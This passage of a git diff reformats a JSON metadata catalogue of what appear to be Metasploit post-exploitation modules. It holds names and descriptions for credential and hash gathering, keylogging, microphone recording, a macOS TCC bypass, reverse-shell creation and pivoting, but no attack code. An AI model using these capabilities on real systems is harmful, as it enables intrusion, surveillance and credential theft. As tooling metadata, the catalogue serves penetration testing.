+ "actions": [] }, "post_multi/gather/tomcat_gather": { "name": "Gather Tomcat Credentials", "fullname": "post/multi/gather/tomcat_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268628,9 +238693,7 @@ "Koen Riepe " ], "description": "This module will attempt to collect credentials from Tomcat services running on the machine.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, @@ -268644,22 +238707,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/ubiquiti_unifi_backup": { "name": "Multi Gather Ubiquiti UniFi Controller Backup", "fullname": "post/multi/gather/ubiquiti_unifi_backup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268688,22 +238746,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/unix_cached_ad_hashes": { "name": "UNIX Gather Cached AD Hashes", "fullname": "post/multi/gather/unix_cached_ad_hashes", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268711,9 +238764,7 @@ "Tim Brown " ], "description": "Post Module to obtain all cached AD hashes on the targeted UNIX machine. These can be cracked with John the Ripper (JtR).", - "references": [ - - ], + "references": [], "platform": "AIX,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, @@ -268734,25 +238785,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/unix_kerberos_tickets": { "name": "UNIX Gather Kerberos Tickets", "fullname": "post/multi/gather/unix_kerberos_tickets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268760,9 +238805,7 @@ "Tim Brown " ], "description": "Post Module to obtain all kerberos tickets on the targeted UNIX machine.", - "references": [ - - ], + "references": [], "platform": "AIX,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, @@ -268783,25 +238826,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/wlan_geolocate": { "name": "Multiplatform WLAN Enumeration and Geolocation", "fullname": "post/multi/gather/wlan_geolocate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268809,9 +238846,7 @@ "Tom Sellers " ], "description": "Enumerate wireless networks visible to the target device.\n Optionally geolocate the target by gathering local wireless networks and\n performing a lookup against Google APIs.", - "references": [ - - ], + "references": [], "platform": "Android,BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -268825,23 +238860,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/wowza_streaming_engine_creds": { "name": "Gather Wowza Streaming Engine Credentials", "fullname": "post/multi/gather/wowza_streaming_engine_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268867,15 +238897,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -268883,16 +238907,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/general/close": { "name": "Multi Generic Operating System Session Close", "fullname": "post/multi/general/close", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268900,9 +238920,7 @@ "hdm " ], "description": "This module closes the specified session. This can be useful as a finisher for automation tasks", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -268916,23 +238934,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/general/execute": { "name": "Multi Generic Operating System Session Command Execution", "fullname": "post/multi/general/execute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268940,9 +238953,7 @@ "hdm " ], "description": "This module executes an arbitrary command line", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -268956,23 +238967,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/general/wall": { "name": "Write Messages to Users", "fullname": "post/multi/general/wall", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268980,9 +238986,7 @@ "Jon Hart " ], "description": "This module utilizes the wall(1) or write(1) utilities, as appropriate,\n to send messages to users on the target system.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix", "arch": "", "rport": null, @@ -268996,23 +239000,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/autoroute": { "name": "Multi Manage Network Route via Meterpreter Session", "fullname": "post/multi/manage/autoroute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269021,9 +239020,7 @@ "Josh Hale \"sn0wfa11\" " ], "description": "This module manages session routing via an existing\n Meterpreter session. It enables other modules to 'pivot' through a\n compromised host when connecting to the named NETWORK and SUBMASK.\n Autoadd will search a session for valid subnets from the routing table\n and interface list then add routes to them. Default will add a default\n route so that all TCP/IP traffic not specified in the MSF routing table\n will be routed through the session when pivoting. See documentation for more\n 'info -d' and click 'Knowledge Base'", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -269037,22 +239034,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/dbvis_add_db_admin": { "name": "Multi Manage DbVisualizer Add Db Admin", "fullname": "post/multi/manage/dbvis_add_db_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269076,22 +239068,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/dbvis_query": { "name": "Multi Manage DbVisualizer Query", "fullname": "post/multi/manage/dbvis_query", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269115,22 +239102,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/fileshare": { "name": "Browse the session filesystem in a Web Browser", "fullname": "post/multi/manage/fileshare", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269138,9 +239120,7 @@ "timwr" ], "description": "This module allows you to browse the session filesystem via a local\n browser window.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -269155,12 +239135,8 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "SideEffects": [ - - ], + "Reliability": [], + "SideEffects": [], "Stability": [ "crash-safe" ] @@ -269171,16 +239147,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/hsts_eraser": { "name": "Web browsers HSTS entries eraser", "fullname": "post/multi/manage/hsts_eraser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269205,23 +239177,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/multi_post": { "name": "Multi Manage Post Module Macro Execution", "fullname": "post/multi/manage/multi_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269229,9 +239196,7 @@ "carlos_perez " ], "description": "This module will execute a list of modules given in a macro file in the format\n of against the select session checking for compatibility\n of the module against the sessions and validation of the options provided.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, @@ -269245,23 +239210,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/open": { "name": "Open a file or URL on the target computer", "fullname": "post/multi/manage/open", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269269,9 +239229,7 @@ "Eliott Teissonniere" ], "description": "This module will open any file or URL specified with the URI format on the\n target computer via the embedded commands such as 'open' or 'xdg-open'.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -269285,23 +239243,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/play_youtube": { "name": "Multi Manage YouTube Broadcast", "fullname": "post/multi/manage/play_youtube", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269309,9 +239262,7 @@ "sinn3r " ], "description": "This module will broadcast a YouTube video on specified compromised systems. It will play\n the video in the target machine's native browser. The VID datastore option is the \"v\"\n parameter in a YouTube video's URL.\n\n Enabling the EMBED option will play the video in full screen mode through a clean interface\n but is not compatible with all videos.\n\n This module will create a custom profile for Firefox on Linux systems in the /tmp directory.", - "references": [ - - ], + "references": [], "platform": "Android,Linux,OSX,Unix,Windows", "arch": "", "rport": null, @@ -269337,16 +239288,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/record_mic": { "name": "Multi Manage Record Microphone", "fullname": "post/multi/manage/record_mic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269354,9 +239301,7 @@ "sinn3r " ], "description": "This module will enable and record your target's microphone.\n For non-Windows targets, please use Java meterpreter to be\n able to use this feature.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -269370,22 +239315,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/screensaver": { "name": "Multi Manage the screensaver of the target computer", "fullname": "post/multi/manage/screensaver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", @@ -269411,15 +239351,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], - "Stability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "Stability": [], + "SideEffects": [] }, "session_types": [ "shell", @@ -269448,9 +239382,7 @@ "post_multi/manage/screenshare": { "name": "Multi Manage the screen of the target meterpreter session", "fullname": "post/multi/manage/screenshare", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269458,9 +239390,7 @@ "timwr" ], "description": "This module allows you to view and control the screen of the target computer via\n a local browser window. The module continually screenshots the target screen and\n also relays all mouse and keyboard events to session.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -269478,27 +239408,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/set_wallpaper": { "name": "Multi Manage Set Wallpaper", "fullname": "post/multi/manage/set_wallpaper", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269506,9 +239428,7 @@ "timwr" ], "description": "This module will set the desktop wallpaper background on the specified session.\n The method of setting the wallpaper depends on the platform type.", - "references": [ - - ], + "references": [], "platform": "Android,Linux,OSX,Windows", "arch": "", "rport": null, @@ -269522,22 +239442,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/shell_to_meterpreter": { "name": "Shell to Meterpreter Upgrade", "fullname": "post/multi/manage/shell_to_meterpreter", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269545,9 +239460,7 @@ "Tom Sellers " ], "description": "This module attempts to upgrade a command shell to meterpreter. The shell\n platform is automatically detected and the best version of meterpreter for\n the target is selected. Currently meterpreter/reverse_tcp is used on Windows\n and Linux, with 'python/meterpreter/reverse_tcp' used on all others.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, @@ -269561,23 +239474,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/sudo": { "name": "Multiple Linux / Unix Post Sudo Upgrade Shell", "fullname": "post/multi/manage/sudo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269602,22 +239510,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/system_session": { "name": "Multi Manage System Remote TCP Shell Session", "fullname": "post/multi/manage/system_session", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269625,9 +239528,7 @@ "Carlos Perez " ], "description": "This module will create a Reverse TCP Shell on the target system\n using the system's own scripting environments installed on the\n target.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix", "arch": "", "rport": null, @@ -269641,23 +239542,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/upload_exec": { "name": "Upload and Execute", "fullname": "post/multi/manage/upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269665,9 +239561,7 @@ "egypt " ], "description": "Push a file and execute it.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, @@ -269681,23 +239575,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "post_multi/manage/zip": { "name": "Multi Manage File Compressor", "fullname": "post/multi/manage/zip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269705,9 +239594,7 @@ "sinn3r " ], "description": "This module zips a file or a directory. On Linux, it uses the zip command.\n On Windows, it will try to use remote target's 7Zip if found. If not, it falls\n back to its Windows Scripting Host.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, @@ -269721,23 +239608,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/local_exploit_suggester": { "name": "Multi Recon Local Exploit Suggester", "fullname": "post/multi/recon/local_exploit_suggester", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269746,9 +239628,7 @@ "Mo" ], "description": "This module suggests local meterpreter exploits that can be used.\n\n The exploits are suggested based on the architecture and platform\n that the user has a shell opened as well as the available exploits\n in meterpreter.\n\n It's important to note that not all local exploits will be fired.\n Exploits are chosen based on these conditions: session type,\n platform, architecture, and required default options.", - "references": [ - - ], + "references": [], "platform": "AIX,Android,Apple_iOS,Arista,BSD,BSDi,Brocade,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Mikrotik,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unifi,Unix,Unknown,Windows", "arch": "", "rport": null, @@ -269762,23 +239642,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/multiport_egress_traffic": { "name": "Generate TCP/UDP Outbound Traffic On Multiple Ports", "fullname": "post/multi/recon/multiport_egress_traffic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269786,9 +239661,7 @@ "Stuart Morgan " ], "description": "This module generates TCP or UDP traffic across a\n sequence of ports, and is useful for finding firewall\n holes and egress filtering. It only generates traffic\n on the port range you specify. It is up to you to\n run a responder or packet capture tool on a remote\n endpoint to determine which ports are open.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, @@ -269802,15 +239675,12 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/reverse_lookup": { "name": "Reverse Lookup IP Addresses", @@ -269826,9 +239696,7 @@ "mubix " ], "description": "This module reverse resolves an IP address or IP address range to hostnames.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix,Windows", "arch": "", "rport": null, @@ -269846,12 +239714,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -269859,16 +239723,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/recon/sudo_commands": { "name": "Sudo Commands", "fullname": "post/multi/recon/sudo_commands", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269876,9 +239736,7 @@ "bcoles " ], "description": "This module examines the sudoers configuration for the session user\n and lists the commands executable via sudo.\n\n This module also inspects each command and reports potential avenues\n for privileged code execution due to poor file system permissions or\n permitting execution of executables known to be useful for privesc,\n such as utilities designed for file read/write, user modification,\n or execution of arbitrary operating system commands.\n\n Note, you may need to provide the password for the session user.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Unix", "arch": "", "rport": null, @@ -269892,23 +239750,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/sap/smdagent_get_properties": { "name": "Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server", "fullname": "post/multi/sap/smdagent_get_properties", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -269941,18 +239794,14 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_brocade": { "name": "Brocade Gather Device General Information", @@ -269967,9 +239816,7 @@ "h00die" ], "description": "This module collects Brocade device information and configuration.\n This module has been tested against an icx6430 running 08.0.20T311.", - "references": [ - - ], + "references": [], "platform": "Brocade", "arch": "", "rport": null, @@ -269983,15 +239830,12 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_cisco": { "name": "Cisco Gather Device General Information", @@ -270006,9 +239850,7 @@ "Carlos Perez " ], "description": "This module collects a Cisco IOS or NXOS device information and configuration.", - "references": [ - - ], + "references": [], "platform": "Cisco", "arch": "", "rport": null, @@ -270029,24 +239871,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_f5": { "name": "F5 Gather Device General Information", "fullname": "post/networking/gather/enum_f5", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270054,9 +239890,7 @@ "h00die" ], "description": "This module collects a F5's device information and configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -270077,17 +239911,13 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_juniper": { "name": "Juniper Gather Device General Information", @@ -270102,9 +239932,7 @@ "h00die" ], "description": "This module collects a Juniper ScreenOS and JunOS device information and configuration.", - "references": [ - - ], + "references": [], "platform": "Juniper", "arch": "", "rport": null, @@ -270118,22 +239946,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_mikrotik": { "name": "Mikrotik Gather Device General Information", "fullname": "post/networking/gather/enum_mikrotik", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270141,9 +239964,7 @@ "h00die" ], "description": "This module collects Mikrotik device information and configuration.\n This module has been tested against RouterOS 6.45.9.", - "references": [ - - ], + "references": [], "platform": "Mikrotik", "arch": "", "rport": null, @@ -270164,24 +239985,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_networking/gather/enum_vyos": { "name": "VyOS Gather Device General Information", "fullname": "post/networking/gather/enum_vyos", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270189,9 +240004,7 @@ "h00die" ], "description": "This module collects VyOS device information and configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, @@ -270212,24 +240025,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/admin/say": { "name": "OS X Text to Speech Utility", "fullname": "post/osx/admin/say", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270253,23 +240060,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/capture/keylog_recorder": { "name": "OSX Capture Userspace Keylogger", "fullname": "post/osx/capture/keylog_recorder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270277,9 +240079,7 @@ "joev " ], "description": "Logs all keyboard events except cmd-keys and GUI password input.\n\n Keylogs are transferred between client/server in chunks\n every SYNCWAIT seconds for reliability.\n\n Works by calling the Carbon GetKeys() hook using the DL lib\n in OSX's system Ruby. The Ruby code is executed in a shell\n command using -e, so the payload never hits the disk.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270293,23 +240093,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/capture/screen": { "name": "OSX Screen Capture", "fullname": "post/osx/capture/screen", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270317,9 +240112,7 @@ "Peter Toth " ], "description": "This module takes screenshots of target desktop and automatically downloads them.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270333,23 +240126,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/escalate/tccbypass": { "name": "Bypass the macOS TCC Framework", "fullname": "post/osx/escalate/tccbypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270385,25 +240173,19 @@ "artifacts-on-disk", "screen-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/apfs_encrypted_volume_passwd": { "name": "Mac OS X APFS Encrypted Volume Password Disclosure", "fullname": "post/osx/gather/apfs_encrypted_volume_passwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-03-21", "type": "post", @@ -270429,23 +240211,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/autologin_password": { "name": "OSX Gather Autologin Password as Root", "fullname": "post/osx/gather/autologin_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270469,23 +240246,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_adium": { "name": "OS X Gather Adium Enumeration", "fullname": "post/osx/gather/enum_adium", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270493,9 +240265,7 @@ "sinn3r " ], "description": "This module will collect Adium's account plist files and chat logs from the\n victim's machine. There are three different actions you may choose: ACCOUNTS,\n CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex\n 'PATTERN' option in order to look for certain log names (which consists of a\n contact's name, and a timestamp). The current 'PATTERN' option is configured to\n look for any log created on February 2012 as an example. To loot both account\n plists and chat logs, simply set the action to 'ALL'.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270509,8 +240279,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" @@ -270534,9 +240303,7 @@ "post_osx/gather/enum_airport": { "name": "OS X Gather Airport Wireless Preferences", "fullname": "post/osx/gather/enum_airport", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270544,9 +240311,7 @@ "sinn3r " ], "description": "This module will download OS X Airport Wireless preferences from the victim\n machine. The preferences file (which is a plist) contains information such as:\n SSID, Channels, Security Type, Password ID, etc.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270560,23 +240325,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_chicken_vnc_profile": { "name": "OS X Gather Chicken of the VNC Profile", "fullname": "post/osx/gather/enum_chicken_vnc_profile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270584,9 +240344,7 @@ "sinn3r " ], "description": "This module will download the \"Chicken of the VNC\" client application's\n profile file,\twhich is used to store other VNC servers' information such\n as the IP and password.", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270600,23 +240358,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_osx/gather/enum_colloquy": { "name": "OS X Gather Colloquy Enumeration", "fullname": "post/osx/gather/enum_colloquy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270624,9 +240377,7 @@ "sinn3r " ], "description": "This module will collect Colloquy's info plist file and chat logs from the\n victim's machine. There are three actions you may choose: INFO, CHATS, and\n ALL. Please note that the CHAT action may take a long time depending on the\n victim machine, therefore we suggest to set the regex 'PATTERN' option in order\n to search for certain log names (which consists of the contact's name, and a\n timestamp). The default 'PATTERN' is configured as \"^alien\" as an example\n to search for any chat logs associated with the name \"alien\".", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "", "rport": null, @@ -270640,8 +240391,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" @@ -270665,9 +240415,7 @@ "post_osx/gather/enum_keychain": { "name": "OS X Gather Keychain Enumeration", "fullname": "post/osx/gather/enum_keychain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -270676,9 +240424,7 @@ "joev " ], "description": "This module presents a way to quickly go through the current user's keychains and\n collect data such as email accounts, servers, and other services. Please note:\n when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication\n alert flash briefly on their screen that 